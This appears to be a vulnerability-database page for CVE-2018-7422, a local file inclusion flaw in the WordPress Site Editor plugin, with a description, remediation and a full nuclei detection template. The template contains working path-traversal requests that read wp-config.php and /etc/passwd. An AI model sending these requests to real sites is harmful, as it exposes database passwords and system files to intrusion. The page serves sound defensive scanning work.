CVE-2018-7422· siteeditor / site editor· CWE-22
WordPress Site Editor <=1.1.1 - Local File Inclusion
highseverity
7.5CVSS score
62.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
Impact
An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the system.
Fix
Update WordPress Site Editor plugin to the latest version to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config… ; GET {{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
Positive when: contains "DB_NAME" and "DB_PASSWORD" OR matches /root:.*:0:0:/Run it with nuclei: nuclei -id CVE-2018-7422 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-7422
info:
name: WordPress Site Editor <=1.1.1 - Local File Inclusion
author: LuskaBol,0x240x23elu
severity: high
description: |
WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
impact: |
An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the system.
remediation: |
Update WordPress Site Editor plugin to the latest version to mitigate the vulnerability.
reference:
- https://www.exploit-db.com/exploits/44340
- http://seclists.org/fulldisclosure/2018/Mar/40
- https://wpvulndb.com/vulnerabilities/9044
- https://nvd.nist.gov/vuln/detail/CVE-2018-7422
- https://github.com/El-Palomo/SYMFONOS
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-7422
cwe-id: CWE-22
epss-score: 0.6225
epss-percentile: 0.99189
cpe: cpe:2.3:a:siteeditor:site_editor:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: siteeditor
product: site_editor
framework: wordpress
tags: cve2018,cve,wordpress,wp-plugin,lfi,edb,seclists,siteeditor,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php'
- "{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"
matchers-condition: or
matchers:
- type: word
part: body
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: regex
part: body
regex:
- "root:.*:0:0:"References
- https://www.exploit-db.com/exploits/44340
- http://seclists.org/fulldisclosure/2018/Mar/40
- https://wpvulndb.com/vulnerabilities/9044
- https://nvd.nist.gov/vuln/detail/CVE-2018-7422
- https://github.com/El-Palomo/SYMFONOS
Use this check only on systems you are authorised to test. Where the data comes from